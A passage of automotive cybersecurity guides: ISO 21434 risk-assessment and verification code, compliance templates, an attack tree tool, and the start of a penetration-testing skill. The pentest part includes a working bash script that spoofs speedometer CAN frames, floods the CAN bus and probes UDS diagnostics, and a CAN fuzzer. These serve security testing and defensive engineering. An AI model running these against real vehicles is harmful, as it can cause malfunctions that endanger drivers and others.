RiskAssessment:\n        \"\"\"Perform complete risk assessment for a threat\"\"\"\n        overall_impact = self.calculate_overall_impact(threat)\n        attack_feasibility = self.calculate_attack_feasibility(threat)\n        risk_level, risk_value = self.determine_risk_level(overall_impact, attack_feasibility)\n\n        # Determine treatment strategy\n        if risk_value >= 4:\n            treatment = \"REDUCE\"\n            justification = \"High\u002FVery High risk requires mitigation controls\"\n        elif risk_value >= 3:\n            treatment = \"REDUCE or SHARE\"\n            justification = \"Medium risk may require mitigation or transfer\"\n        else:\n            treatment = \"ACCEPT\"\n            justification = \"Low risk acceptable with documentation\"\n\n        assessment = RiskAssessment(\n            threat=threat,\n            overall_impact=overall_impact,\n            attack_feasibility=attack_feasibility,\n            risk_level=risk_level,\n            risk_value=risk_value,\n            treatment=treatment,\n            justification=justification\n        )\n\n        self.assessments.append(assessment)\n        return assessment\n\n    def generate_report(self, output_file: str):\n        \"\"\"Generate TARA report in JSON format\"\"\"\n        report = {\n            \"tara_metadata\": {\n                \"standard\": \"ISO\u002FSAE 21434:2021\",\n                \"version\": \"1.0\",\n                \"date\": \"2026-03-19\",\n                \"total_threats\": len(self.assessments)\n            },\n            \"risk_summary\": {\n                \"very_high\": sum(1 for a in self.assessments if a.risk_level == RiskLevel.VERY_HIGH),\n                \"high\": sum(1 for a in self.assessments if a.risk_level == RiskLevel.HIGH),\n                \"medium\": sum(1 for a in self.assessments if a.risk_level == RiskLevel.MEDIUM),\n                \"low\": sum(1 for a in self.assessments if a.risk_level == RiskLevel.LOW)\n            },\n            \"assessments\": []\n        }\n\n        for assessment in self.assessments:\n            report[\"assessments\"].append({\n                \"threat_id\": assessment.threat.threat_id,\n                \"threat_name\": assessment.threat.name,\n                \"threat_type\": assessment.threat.threat_type,\n                \"asset\": assessment.threat.asset,\n                \"impact\": assessment.overall_impact.name,\n                \"attack_feasibility\": assessment.attack_feasibility.name,\n                \"feasibility_score\": {\n                    \"elapsed_time\": assessment.threat.elapsed_time,\n                    \"specialist_expertise\": assessment.threat.specialist_expertise,\n                    \"knowledge_of_item\": assessment.threat.knowledge_of_item,\n                    \"window_of_opportunity\": assessment.threat.window_of_opportunity,\n                    \"equipment\": assessment.threat.equipment,\n                    \"total\": sum([\n                        assessment.threat.elapsed_time,\n                        assessment.threat.specialist_expertise,\n                        assessment.threat.knowledge_of_item,\n                        assessment.threat.window_of_opportunity,\n                        assessment.threat.equipment\n                    ])\n                },\n                \"risk_level\": assessment.risk_level.name,\n                \"risk_value\": assessment.risk_value,\n                \"treatment\": assessment.treatment,\n                \"justification\": assessment.justification\n            })\n\n        with open(output_file, 'w') as f:\n            json.dump(report, f, indent=2)\n\n        print(f\"TARA report generated: {output_file}\")\n\n\n# Example: TCU TARA\ndef run_tcu_tara():\n    tara = TARAEngine()\n\n    # Threat T-001: Remote Code Execution via OTA\n    threat_rce = Threat(\n        threat_id=\"T-001\",\n        name=\"Remote Code Execution via Malicious OTA Update\",\n        description=\"Attacker injects malicious firmware via compromised OTA server\",\n        threat_type=\"Tampering\",\n        asset=\"Firmware Image\",\n        impact_safety=ImpactLevel.SEVERE,  # Can control vehicle functions\n        impact_financial=ImpactLevel.MAJOR,  # Massive recall\n        impact_operational=ImpactLevel.SEVERE,  # Complete TCU compromise\n        impact_privacy=ImpactLevel.MAJOR,  # Access to all telemetry data\n        elapsed_time=13,  # Days to weeks (13-16 points per ISO 21434)\n        specialist_expertise=6,  # Proficient (6 points)\n        knowledge_of_item=3,  # Public information (0-3 points)\n        window_of_opportunity=4,  # Easy (0-4 points)\n        equipment=4  # Standard equipment (4 points)\n    )\n\n    # Threat T-002: CAN Bus Message Injection\n    threat_can_injection = Threat(\n        threat_id=\"T-002\",\n        name=\"CAN Bus Message Injection\",\n        description=\"Attacker with physical access injects spoofed CAN messages\",\n        threat_type=\"Spoofing\",\n        asset=\"CAN Bus Interface\",\n        impact_safety=ImpactLevel.MAJOR,  # Can send false sensor data\n        impact_financial=ImpactLevel.MODERATE,\n        impact_operational=ImpactLevel.MAJOR,\n        impact_privacy=ImpactLevel.NEGLIGIBLE,\n        elapsed_time=16,  # \u003C 1 day (16-19 points)\n        specialist_expertise=6,  # Proficient\n        knowledge_of_item=7,  # Restricted information (4-7 points)\n        window_of_opportunity=7,  # Moderate (5-7 points)\n        equipment=6  # Specialized equipment (5-7 points)\n    )\n\n    # Threat T-003: V2X Certificate Theft\n    threat_cert_theft = Threat(\n        threat_id=\"T-003\",\n        name=\"V2X Certificate Private Key Extraction\",\n        description=\"Physical attack to extract private key from HSM\",\n        threat_type=\"Information Disclosure\",\n        asset=\"Private Key for V2X\",\n        impact_safety=ImpactLevel.MAJOR,  # Spoofed V2X messages\n        impact_financial=ImpactLevel.SEVERE,  # PKI infrastructure compromise\n        impact_operational=ImpactLevel.MAJOR,\n        impact_privacy=ImpactLevel.SEVERE,  # Impersonation attacks\n        elapsed_time=7,  # More than 1 month (7-12 points)\n        specialist_expertise=0,  # Expert (0 points)\n        knowledge_of_item=0,  # Sensitive information (0 points)\n        window_of_opportunity=7,  # Moderate\n        equipment=0  # Bespoke equipment (0 points)\n    )\n\n    # Assess all threats\n    tara.assess_threat(threat_rce)\n    tara.assess_threat(threat_can_injection)\n    tara.assess_threat(threat_cert_theft)\n\n    # Generate report\n    tara.generate_report(\"\u002Ftmp\u002Ftcu_tara_report.json\")\n\n    # Print summary\n    print(\"\\n=== TARA Summary ===\")\n    for assessment in tara.assessments:\n        print(f\"\\n{assessment.threat.threat_id}: {assessment.threat.name}\")\n        print(f\"  Impact: {assessment.overall_impact.name}\")\n        print(f\"  Attack Feasibility: {assessment.attack_feasibility.name}\")\n        print(f\"  Risk Level: {assessment.risk_level.name} (Value: {assessment.risk_value})\")\n        print(f\"  Treatment: {assessment.treatment}\")\n\nif __name__ == \"__main__\":\n    run_tcu_tara()\n```\n\n### Phase 3: Cybersecurity Concept\n\n```yaml\n# Cybersecurity Concept Template\ncybersecurity_concept:\n  item: \"Telematics Control Unit (TCU)\"\n  version: \"1.0\"\n  date: \"2026-03-19\"\n\n  cybersecurity_goals:\n    - id: \"CG-001\"\n      description: \"Prevent unauthorized firmware modification\"\n      rationale: \"Addresses T-001 (Remote Code Execution)\"\n      security_property: \"Integrity\"\n\n    - id: \"CG-002\"\n      description: \"Prevent CAN message spoofing\"\n      rationale: \"Addresses T-002 (CAN Bus Message Injection)\"\n      security_property: \"Authenticity\"\n\n    - id: \"CG-003\"\n      description: \"Protect V2X private key from extraction\"\n      rationale: \"Addresses T-003 (Certificate Theft)\"\n      security_property: \"Confidentiality\"\n\n  cybersecurity_requirements:\n    - id: \"CSR-001\"\n      goal: \"CG-001\"\n      description: \"Firmware shall be signed with RSA-4096 signature\"\n      verification: \"Cryptographic signature verification test\"\n\n    - id: \"CSR-002\"\n      goal: \"CG-001\"\n      description: \"Secure boot shall verify firmware signature before execution\"\n      verification: \"Tampered firmware rejection test\"\n\n    - id: \"CSR-003\"\n      goal: \"CG-002\"\n      description: \"CAN messages shall include HMAC-SHA256 authentication tag\"\n      verification: \"Message authentication test with spoofed frames\"\n\n    - id: \"CSR-004\"\n      goal: \"CG-003\"\n      description: \"Private keys shall be stored in HSM with no export capability\"\n      verification: \"Physical penetration test, key extraction attempt\"\n\n    - id: \"CSR-005\"\n      goal: \"CG-003\"\n      description: \"Implement side-channel attack countermeasures (timing, power analysis)\"\n      verification: \"Differential power analysis (DPA) test\"\n```\n\n### Phase 4: Cybersecurity Verification\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"\nISO 21434 Cybersecurity Verification Test Suite\nAutomated validation of cybersecurity requirements\n\"\"\"\n\nimport subprocess\nimport hashlib\nimport hmac\nfrom cryptography.hazmat.primitives import hashes, serialization\nfrom cryptography.hazmat.primitives.asymmetric import rsa, padding\nfrom cryptography.hazmat.backends import default_backend\nimport struct\n\nclass CybersecurityVerifier:\n    def __init__(self):\n        self.test_results = []\n\n    def verify_csr_001_firmware_signature(self, firmware_path: str, signature_path: str, pubkey_path: str) -> bool:\n        \"\"\"\n        CSR-001: Verify firmware is signed with RSA-4096\n        Returns True if signature valid, False otherwise\n        \"\"\"\n        print(\"\\n[TEST] CSR-001: Firmware Signature Verification\")\n\n        try:\n            # Load public key\n            with open(pubkey_path, 'rb') as f:\n                public_key = serialization.load_pem_public_key(f.read(), backend=default_backend())\n\n            # Load firmware and signature\n            with open(firmware_path, 'rb') as f:\n                firmware_data = f.read()\n\n            with open(signature_path, 'rb') as f:\n                signature = f.read()\n\n            # Verify signature\n            public_key.verify(\n                signature,\n                firmware_data,\n                padding.PSS(\n                    mgf=padding.MGF1(hashes.SHA256()),\n                    salt_length=padding.PSS.MAX_LENGTH\n                ),\n                hashes.SHA256()\n            )\n\n            print(\"  [PASS] Firmware signature valid\")\n            self.test_results.append((\"CSR-001\", \"PASS\"))\n            return True\n\n        except Exception as e:\n            print(f\"  [FAIL] Signature verification failed: {e}\")\n            self.test_results.append((\"CSR-001\", \"FAIL\"))\n            return False\n\n    def verify_csr_002_secure_boot_rejection(self, tampered_firmware_path: str) -> bool:\n        \"\"\"\n        CSR-002: Verify secure boot rejects tampered firmware\n        Simulates flashing tampered firmware and checking boot status\n        \"\"\"\n        print(\"\\n[TEST] CSR-002: Secure Boot Tamper Detection\")\n\n        # This would interface with actual ECU via diagnostic protocol\n        # Simulated example:\n        try:\n            # Attempt to flash tampered firmware\n            result = subprocess.run(\n                ['flash_tool', '--ecu', 'TCU', '--firmware', tampered_firmware_path],\n                capture_output=True,\n                text=True,\n                timeout=30\n            )\n\n            # Check if ECU rejected the firmware\n            if \"SIGNATURE_INVALID\" in result.stderr or result.returncode != 0:\n                print(\"  [PASS] Secure boot rejected tampered firmware\")\n                self.test_results.append((\"CSR-002\", \"PASS\"))\n                return True\n            else:\n                print(\"  [FAIL] Secure boot accepted tampered firmware\")\n                self.test_results.append((\"CSR-002\", \"FAIL\"))\n                return False\n\n        except Exception as e:\n            print(f\"  [ERROR] Test execution failed: {e}\")\n            self.test_results.append((\"CSR-002\", \"ERROR\"))\n            return False\n\n    def verify_csr_003_can_message_authentication(self, can_interface: str) -> bool:\n        \"\"\"\n        CSR-003: Verify CAN messages include HMAC authentication\n        Captures CAN traffic and validates HMAC tags\n        \"\"\"\n        print(\"\\n[TEST] CSR-003: CAN Message Authentication\")\n\n        try:\n            # Capture CAN frame (example using SocketCAN)\n            import can\n\n            bus = can.interface.Bus(channel=can_interface, bustype='socketcan')\n            message = bus.recv(timeout=5.0)\n\n            if message is None:\n                print(\"  [FAIL] No CAN message received\")\n                self.test_results.append((\"CSR-003\", \"FAIL\"))\n                return False\n\n            # Extract payload and HMAC (last 32 bytes)\n            if len(message.data) \u003C 32:\n                print(\"  [FAIL] CAN message too short for HMAC\")\n                self.test_results.append((\"CSR-003\", \"FAIL\"))\n                return False\n\n            payload = message.data[:-32]\n            received_hmac = message.data[-32:]\n\n            # Verify HMAC (key would be provisioned via secure channel)\n            shared_key = b'REPLACE_WITH_PROVISIONED_KEY'\n            expected_hmac = hmac.new(shared_key, payload, hashlib.sha256).digest()\n\n            if hmac.compare_digest(received_hmac, expected_hmac):\n                print(\"  [PASS] CAN message HMAC valid\")\n                self.test_results.append((\"CSR-003\", \"PASS\"))\n                return True\n            else:\n                print(\"  [FAIL] CAN message HMAC invalid\")\n                self.test_results.append((\"CSR-003\", \"FAIL\"))\n                return False\n\n        except Exception as e:\n            print(f\"  [ERROR] Test failed: {e}\")\n            self.test_results.append((\"CSR-003\", \"ERROR\"))\n            return False\n\n    def generate_verification_report(self, output_file: str):\n        \"\"\"Generate ISO 21434 verification report\"\"\"\n        total = len(self.test_results)\n        passed = sum(1 for _, result in self.test_results if result == \"PASS\")\n        failed = sum(1 for _, result in self.test_results if result == \"FAIL\")\n        errors = sum(1 for _, result in self.test_results if result == \"ERROR\")\n\n        with open(output_file, 'w') as f:\n            f.write(\"ISO\u002FSAE 21434 Cybersecurity Verification Report\\n\")\n            f.write(\"=\" * 60 + \"\\n\\n\")\n            f.write(f\"Date: 2026-03-19\\n\")\n            f.write(f\"Item: Telematics Control Unit (TCU)\\n\")\n            f.write(f\"Standard: ISO\u002FSAE 21434:2021\\n\\n\")\n            f.write(f\"Summary:\\n\")\n            f.write(f\"  Total Tests: {total}\\n\")\n            f.write(f\"  Passed: {passed}\\n\")\n            f.write(f\"  Failed: {failed}\\n\")\n            f.write(f\"  Errors: {errors}\\n\\n\")\n            f.write(f\"Test Results:\\n\")\n\n            for req_id, result in self.test_results:\n                f.write(f\"  {req_id}: {result}\\n\")\n\n            if failed == 0 and errors == 0:\n                f.write(\"\\nVerdict: COMPLIANT\\n\")\n            else:\n                f.write(\"\\nVerdict: NON-COMPLIANT\\n\")\n\n        print(f\"\\nVerification report saved: {output_file}\")\n\n# Example usage\nif __name__ == \"__main__\":\n    verifier = CybersecurityVerifier()\n\n    # Run verification tests\n    verifier.verify_csr_001_firmware_signature(\n        \"\u002Ftmp\u002Ftcu_firmware.bin\",\n        \"\u002Ftmp\u002Ftcu_firmware.sig\",\n        \"\u002Ftmp\u002Ftcu_pubkey.pem\"\n    )\n\n    verifier.verify_csr_002_secure_boot_rejection(\"\u002Ftmp\u002Ftampered_firmware.bin\")\n    verifier.verify_csr_003_can_message_authentication(\"can0\")\n\n    # Generate report\n    verifier.generate_verification_report(\"\u002Ftmp\u002Fiso21434_verification_report.txt\")\n```\n\n## UN R155 Compliance\n\n```yaml\n# UN R155 Type Approval Documentation Template\nun_r155_compliance:\n  vehicle_manufacturer: \"OEM Example Inc.\"\n  vehicle_type: \"Electric SUV Model X\"\n  approval_date: \"2026-03-19\"\n\n  csms_description:\n    scope: \"Development, production, post-production phases\"\n    organizational_structure:\n      cybersecurity_officer: \"John Doe\"\n      security_team: [\"Security Architect\", \"Pentest Lead\", \"Incident Response\"]\n\n    processes:\n      - risk_management: \"ISO 21434 TARA process implemented\"\n      - secure_development: \"Secure SDLC with threat modeling\"\n      - testing: \"Penetration testing, fuzzing, static analysis\"\n      - vulnerability_management: \"CVE monitoring, patch management\"\n      - incident_response: \"24\u002F7 SOC, incident playbooks\"\n\n  cybersecurity_threats_addressed:\n    - threat: \"Backend Server Compromise\"\n      mitigation: \"TLS 1.3, certificate pinning, rate limiting\"\n\n    - threat: \"Vehicle Data Extraction\"\n      mitigation: \"Data encryption at rest (AES-256)\"\n\n    - threat: \"Unauthorized Vehicle Access\"\n      mitigation: \"BLE pairing with PIN, rolling codes\"\n\n  cybersecurity_testing_performed:\n    - type: \"Penetration Testing\"\n      scope: \"TCU, Gateway, Infotainment\"\n      result: \"No critical vulnerabilities found\"\n\n    - type: \"Fuzzing\"\n      scope: \"CAN protocol stack, Ethernet stack\"\n      result: \"2 medium severity bugs fixed\"\n\n  post_production_monitoring:\n    - \"SIEM integration for fleet-wide anomaly detection\"\n    - \"OTA security patch deployment within 72 hours\"\n    - \"Vulnerability disclosure program (VDP)\"\n```\n\n## ISO 21434 Tool: Attack Tree Generator\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"\nAttack Tree Generator for ISO 21434 TARA\nGenerates visual attack trees for threat scenarios\n\"\"\"\n\nclass AttackTreeNode:\n    def __init__(self, name: str, node_type: str, operator: str = None):\n        self.name = name\n        self.node_type = node_type  # \"goal\", \"attack_step\"\n        self.operator = operator  # \"AND\", \"OR\", None\n        self.children = []\n        self.feasibility_score = None\n\n    def add_child(self, child):\n        self.children.append(child)\n        return child\n\n    def to_dict(self):\n        return {\n            \"name\": self.name,\n            \"type\": self.node_type,\n            \"operator\": self.operator,\n            \"feasibility\": self.feasibility_score,\n            \"children\": [child.to_dict() for child in self.children]\n        }\n\ndef generate_rce_attack_tree():\n    \"\"\"Generate attack tree for Remote Code Execution threat\"\"\"\n\n    # Root goal\n    root = AttackTreeNode(\"Achieve Remote Code Execution on TCU\", \"goal\", \"AND\")\n\n    # Top-level steps (AND)\n    step1 = root.add_child(AttackTreeNode(\"Gain Network Access to OTA Server\", \"attack_step\", \"OR\"))\n    step2 = root.add_child(AttackTreeNode(\"Inject Malicious Firmware\", \"attack_step\", \"AND\"))\n    step3 = root.add_child(AttackTreeNode(\"Bypass Signature Verification\", \"attack_step\", \"OR\"))\n\n    # Step 1 branches (OR)\n    step1.add_child(AttackTreeNode(\"Compromise OTA Server Credentials\", \"attack_step\"))\n    step1.add_child(AttackTreeNode(\"Man-in-the-Middle Attack on TLS Connection\", \"attack_step\"))\n    step1.add_child(AttackTreeNode(\"Exploit OTA Server Vulnerability (CVE)\", \"attack_step\"))\n\n    # Step 2 branches (AND)\n    step2.add_child(AttackTreeNode(\"Craft Malicious Firmware Payload\", \"attack_step\"))\n    step2.add_child(AttackTreeNode(\"Upload Firmware to OTA Server\", \"attack_step\"))\n\n    # Step 3 branches (OR)\n    step3.add_child(AttackTreeNode(\"Extract Private Key from HSM\", \"attack_step\"))\n    step3.add_child(AttackTreeNode(\"Exploit Signature Verification Bug\", \"attack_step\"))\n    step3.add_child(AttackTreeNode(\"Downgrade to Unsigned Firmware\", \"attack_step\"))\n\n    return root\n\ndef export_attack_tree_graphviz(tree: AttackTreeNode, output_file: str):\n    \"\"\"Export attack tree to Graphviz DOT format\"\"\"\n\n    dot_lines = [\"digraph AttackTree {\"]\n    dot_lines.append('  node [shape=box];')\n\n    node_counter = [0]\n\n    def traverse(node, parent_id=None):\n        current_id = node_counter[0]\n        node_counter[0] += 1\n\n        # Node label\n        label = node.name\n        if node.operator:\n            label += f\"\\\\n[{node.operator}]\"\n\n        # Node style\n        if node.node_type == \"goal\":\n            style = 'style=filled, fillcolor=lightblue'\n        else:\n            style = 'style=filled, fillcolor=lightyellow'\n\n        dot_lines.append(f'  node{current_id} [label=\"{label}\", {style}];')\n\n        if parent_id is not None:\n            dot_lines.append(f'  node{parent_id} -> node{current_id};')\n\n        for child in node.children:\n            traverse(child, current_id)\n\n    traverse(tree)\n    dot_lines.append(\"}\")\n\n    with open(output_file, 'w') as f:\n        f.write('\\n'.join(dot_lines))\n\n    print(f\"Attack tree exported: {output_file}\")\n    print(\"Generate PNG: dot -Tpng attack_tree.dot -o attack_tree.png\")\n\nif __name__ == \"__main__\":\n    tree = generate_rce_attack_tree()\n    export_attack_tree_graphviz(tree, \"\u002Ftmp\u002Frce_attack_tree.dot\")\n```\n\n## Best Practices\n\n1. **TARA Execution**: Perform TARA at item definition phase and update after significant changes\n2. **Risk Treatment Traceability**: Maintain traceability matrix from threats → cybersecurity goals → requirements → tests\n3. **Tool Support**: Use dedicated ISO 21434 tools (Medini Analyze, PREEvision, ITEM ToolKit)\n4. **Cross-Functional Collaboration**: Involve safety engineers, architects, developers, pentesters\n5. **Continuous Monitoring**: ISO 21434 is not one-time; requires ongoing vulnerability management\n\n## References\n\n- ISO\u002FSAE 21434:2021 - Road vehicles - Cybersecurity engineering\n- UN R155 - Uniform provisions concerning cybersecurity and CSMS\n- UN R156 - Uniform provisions concerning software update and SUMS\n- UNECE WP.29 - Cybersecurity type approval guidance\n\n---\n\n## Penetration Testing Automotive\n\n# Automotive Penetration Testing Skill\n\n## Overview\n\nExpert skill for performing security assessments on automotive systems. Covers CAN fuzzing, wireless attacks (Bluetooth\u002FWiFi), infotainment exploitation, ECU firmware reverse engineering, and specialized automotive pentest tools.\n\n## Core Competencies\n\n### Penetration Testing Methodology\n- **Reconnaissance**: Asset discovery, attack surface mapping\n- **Vulnerability Assessment**: Known CVEs, configuration issues\n- **Exploitation**: Proof-of-concept attack development\n- **Post-Exploitation**: Privilege escalation, lateral movement\n- **Reporting**: Executive summary, technical findings, remediation roadmap\n\n### Attack Vectors\n- **CAN Bus**: Injection, spoofing, DoS, fuzzing\n- **Wireless**: Bluetooth pairing bypass, WiFi WPA3 attacks\n- **Infotainment**: Web browser exploitation, USB attacks\n- **Diagnostics**: UDS brute-force, seed-key cracking\n- **OTA**: MITM attacks, firmware downgrade\n\n## Toolset\n\n### Essential Tools\n- **CANalyze**: CAN traffic analysis and injection\n- **CarShark**: Wireshark for automotive protocols\n- **ICSim**: Instrument Cluster Simulator for testing\n- **can-utils**: Linux SocketCAN utilities\n- **Metasploit**: Framework for exploitation\n- **Burp Suite**: Web application testing (infotainment)\n\n## CAN Bus Penetration Testing\n\n### CAN Injection with can-utils\n\n```bash\n#!\u002Fbin\u002Fbash\n# CAN Bus Penetration Testing Script\n# Tests for basic CAN injection vulnerabilities\n\nset -e\n\nINTERFACE=\"can0\"\n\necho \"=== CAN Bus Penetration Test ===\"\necho \"[INFO] Interface: $INTERFACE\"\n\n# Setup CAN interface\nsetup_can() {\n    echo \"[1\u002F5] Setting up CAN interface...\"\n    sudo ip link set $INTERFACE type can bitrate 500000\n    sudo ip link set up $INTERFACE\n    echo \"[PASS] CAN interface configured (500 kbps)\"\n}\n\n# Reconnaissance: Capture normal traffic\nrecon_traffic() {\n    echo \"[2\u002F5] Reconnaissance: Capturing normal traffic...\"\n    candump $INTERFACE -n 1000 > \u002Ftmp\u002Fcan_baseline.log\n    echo \"[INFO] Captured 1000 frames to \u002Ftmp\u002Fcan_baseline.log\"\n\n    # Analyze unique CAN IDs\n    cat \u002Ftmp\u002Fcan_baseline.log | awk '{print $3}' | cut -d'#' -f1 | sort -u > \u002Ftmp\u002Fcan_ids.txt\n    CAN_ID_COUNT=$(wc -l \u003C \u002Ftmp\u002Fcan_ids.txt)\n    echo \"[INFO] Unique CAN IDs found: $CAN_ID_COUNT\"\n    head -10 \u002Ftmp\u002Fcan_ids.txt\n}\n\n# Test 1: CAN Injection (Speedometer manipulation)\ntest_speedometer_injection() {\n    echo \"[3\u002F5] Test 1: Speedometer Manipulation\"\n\n    # Common speedometer CAN IDs: 0x1A0 (VW), 0x0B4 (Toyota), 0x3E9 (Ford)\n    SPEED_CAN_ID=\"1A0\"\n\n    echo \"[INFO] Injecting fake speed messages (CAN ID: 0x$SPEED_CAN_ID)...\"\n\n    for speed_kmh in 0 50 100 150 200; do\n        # Calculate payload (speed in km\u002Fh * 100, little-endian)\n        speed_raw=$((speed_kmh * 100))\n        low_byte=$((speed_raw & 0xFF))\n        high_byte=$(((speed_raw >> 8) & 0xFF))\n\n        payload=$(printf \"%02X%02X000000000000\" $low_byte $high_byte)\n\n        echo \"  [INJECT] Speed: ${speed_kmh} km\u002Fh -> Payload: $payload\"\n        cansend $INTERFACE ${SPEED_CAN_ID}#${payload}\n\n        sleep 1\n    done\n\n    echo \"[PASS] Speed injection test complete\"\n    echo \"[FINDING] Speedometer accepts spoofed CAN messages without authentication\"\n}\n\n# Test 2: CAN Flooding (DoS attack)\ntest_can_flooding() {\n    echo \"[4\u002F5] Test 2: CAN Bus Flooding (DoS)\"\n\n    FLOOD_CAN_ID=\"7FF\"  # High priority ID\n    DURATION=5\n\n    echo \"[WARN] Flooding CAN bus for ${DURATION} seconds...\"\n    echo \"[INFO] This may cause legitimate messages to be delayed\u002Fdropped\"\n\n    timeout $DURATION bash -c \"while true; do cansend $INTERFACE ${FLOOD_CAN_ID}#DEADBEEFDEADBEEF; done\" &\n    FLOOD_PID=$!\n\n    sleep $DURATION\n    wait $FLOOD_PID 2>\u002Fdev\u002Fnull || true\n\n    echo \"[PASS] Flooding test complete\"\n    echo \"[FINDING] CAN bus has no rate limiting - vulnerable to DoS\"\n}\n\n# Test 3: Diagnostic Protocol Attack (UDS)\ntest_uds_attack() {\n    echo \"[5\u002F5] Test 3: UDS Diagnostic Attack\"\n\n    # UDS diagnostic request CAN ID: 0x7E0 (physical), 0x7DF (functional)\n    UDS_REQUEST_ID=\"7E0\"\n    UDS_RESPONSE_ID=\"7E8\"\n\n    echo \"[INFO] Sending UDS diagnostics session request...\"\n\n    # 0x10 0x01 = Start diagnostic session (default)\n    cansend $INTERFACE ${UDS_REQUEST_ID}#021001000000000000\n\n    sleep 0.1\n\n    # Check for response\n    timeout 2 candump $INTERFACE,${UDS_RESPONSE_ID}:7FF -n 1 > \u002Ftmp\u002Fuds_response.log 2>&1 || true\n\n    if [ -s \u002Ftmp\u002Fuds_response.log ]; then\n        echo \"[PASS] ECU responded to UDS session request\"\n        cat \u002Ftmp\u002Fuds_response.log\n        echo \"[FINDING] ECU accepts UDS diagnostic commands without authentication\"\n    else\n        echo \"[FAIL] No UDS response received (ECU may require authentication)\"\n    fi\n}\n\n# Main execution\nsetup_can\nrecon_traffic\ntest_speedometer_injection\ntest_can_flooding\ntest_uds_attack\n\necho \"\"\necho \"=== Penetration Test Summary ===\"\necho \"[CRITICAL] CAN bus has no message authentication (SecOC not implemented)\"\necho \"[HIGH] ECU vulnerable to message injection and spoofing\"\necho \"[HIGH] No rate limiting - DoS attacks possible\"\necho \"[MEDIUM] UDS diagnostic interface exposed without authentication\"\necho \"\"\necho \"Recommendations:\"\necho \"  1. Implement SecOC (Secure Onboard Communication) per AUTOSAR\"\necho \"  2. Add message authentication codes (MAC) to critical CAN IDs\"\necho \"  3. Implement gateway filtering and rate limiting\"\necho \"  4. Require seed-key authentication for UDS diagnostic access\"\n```\n\n### CAN Fuzzing with Python\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"\nCAN Bus Fuzzer for Vulnerability Discovery\nSystematically tests CAN protocol implementation\n\"\"\"\n\nimport can\nimport random\nimport time\nfrom itertools import product\n\nclass CANFuzzer:\n    \"\"\"Intelligent CAN fuzzing framework\"\"\"\n\n    def __init__(self, interface: str = 'can0'):\n        self.bus = can.interface.Bus(channel=interface, bustype='socketcan')\n        self.crashes = []\n        self.anomalies = []\n\n        print(f\"=== CAN Fuzzer Initialized ===\")\n        print(f\"[INFO] Interface: {interface}\")\n        print(f\"[WARN] Fuzzing may cause ECU crashes or vehicle malfunctions\")\n\n    def fuzz_can_ids(self, start_id: int = 0x000, end_id: int = 0x7FF, delay: float = 0.01):\n        \"\"\"Fuzz all possible CAN IDs\"\"\"\n        print(f\"\\n[FUZZ] Testing CAN IDs 0x{start_id:03X} to 0x{end_id:03X}\")\n\n        for can_id in range(start_id, end_id + 1):\n            payload = [0x00] * 8\n\n            msg = can.Message(\n                arbitration_id=can_id,\n                data=payload,\n                is_extended_id=False\n            )\n\n            try:\n                self.bus.send(msg)\n            except can.CanError as e:\n                print(f\"[ERROR] Failed to send CAN ID 0x{can_id:03X}: {e}\")\n\n            time.sleep(delay)\n\n            if can_id % 100 == 0:\n                print(f\"[INFO] Progress: 0x{can_id:03X} \u002F 0x{end_id:03X}\")\n\n        print(f\"[PASS] CAN ID fuzzing complete\")\n\n    def fuzz_dlc(self, target_can_id: int):\n        \"\"\"Fuzz Data Length Code (DLC) field\"\"\"\n        print(f\"\\n[FUZZ] Testing DLC values for CAN ID 0x{target_can_id:03X}\")\n\n        for dlc in range(0, 16):  # DLC 0-15 (valid: 0-8)\n            # Generate payload of specified length\n            if dlc \u003C= 8:\n                payload = [0xAA] * dlc\n            else:\n                payload = [0xAA] * 8  # Invalid DLC, max 8 bytes\n\n            msg = can.Message(\n                arbitration_id=target_can_id,\n                data=payload,\n                is_extended_id=False\n            )\n\n            print(f\"  [TEST] DLC={dlc}, Payload={len(payload)} bytes\")\n\n            try:\n                self.bus.send(msg)\n            except Exception as e:\n                print(f\"  [ANOMALY] DLC={dlc} caused error: {e}\")\n                self.anomalies.append({'test': 'dlc_fuzz', 'dlc': dlc, 'error': str(e)})\n\n            time.sleep(0.05)\n\n        print(f\"[PASS] DLC fuzzing complete\")\n\n    def fuzz_payload_random(self, target_can_id: int, iterations: int = 1000):\n        \"\"\"Random payload fuzzing\"\"\"\n        print(f\"\\n[FUZZ] Random payload fuzzing (CAN ID 0x{target_can_id:03X}, {iterations} iterations)\")\n\n        for i in range(iterations):\n            # Random payload length and content\n            dlc = random.randint(0, 8)\n            payload = [random.randint(0, 255) for _ in range(dlc)]\n\n            msg = can.Message(\n                arbitration_id=target_can_id,\n                data=payload,\n                is_extended_id=False\n            )\n\n            self.bus.send(msg)\n\n            if i % 100 == 0:\n                print(f\"[INFO] Progress: {i} \u002F {iterations}\")\n\n            time.sleep(0.001)\n\n        print(f\"[PASS] Random payload fuzzing complete\")\n\n    def fuzz_payload_boundary(self, target_can_id: int):\n        \"\"\"Boundary value fuzzing (edge cases)\"\"\"\n        print(f\"\\n[FUZZ] Boundary value testing (CAN ID 0x{target_can_id:03X})\")\n\n        boundary_values = [\n            [0x00] * 8,  # All zeros\n            [0xFF] * 8,  # All ones\n            [0x00, 0xFF, 0x00, 0xFF, 0x00, 0xFF, 0x00, 0xFF],  # Alternating\n            [0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],  # MSB set\n            [0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF],  # Max positive (signed)\n            [0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA],  # Pattern 0b10101010\n            [0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55],  # Pattern 0b01010101\n        ]\n\n        for idx, payload in enumerate(boundary_values):\n            msg = can.Message(\n                arbitration_id=target_can_id,\n                data=payload,\n                is_extended_id=False\n            )\n\n            print(f\"  [TEST] Boundary case {idx + 1}: {payload}\")\n            self.bus.send(msg)\n            time.sleep(0.1)\n\n        print(f\"[PASS] Boundary value fuzzing complete\")\n\n    def monitor_for_crashes(self, duration: int = 60):\n        \"\"\"Monitor CAN bus for crash indicators\"\"\"\n        print(f\"\\n[MONITOR] Watching for ECU crashes ({duration}s)...\")\n\n        # Common crash indicators:\n        # - Sudden stop of periodic messages\n        # - Error frames on CAN bus\n        # - Reset messages (e.g., CAN ID 0x000)\n\n        message_counts = {}\n        start_time = time.time()\n\n        while (time.time() - start_time) \u003C duration:\n            msg 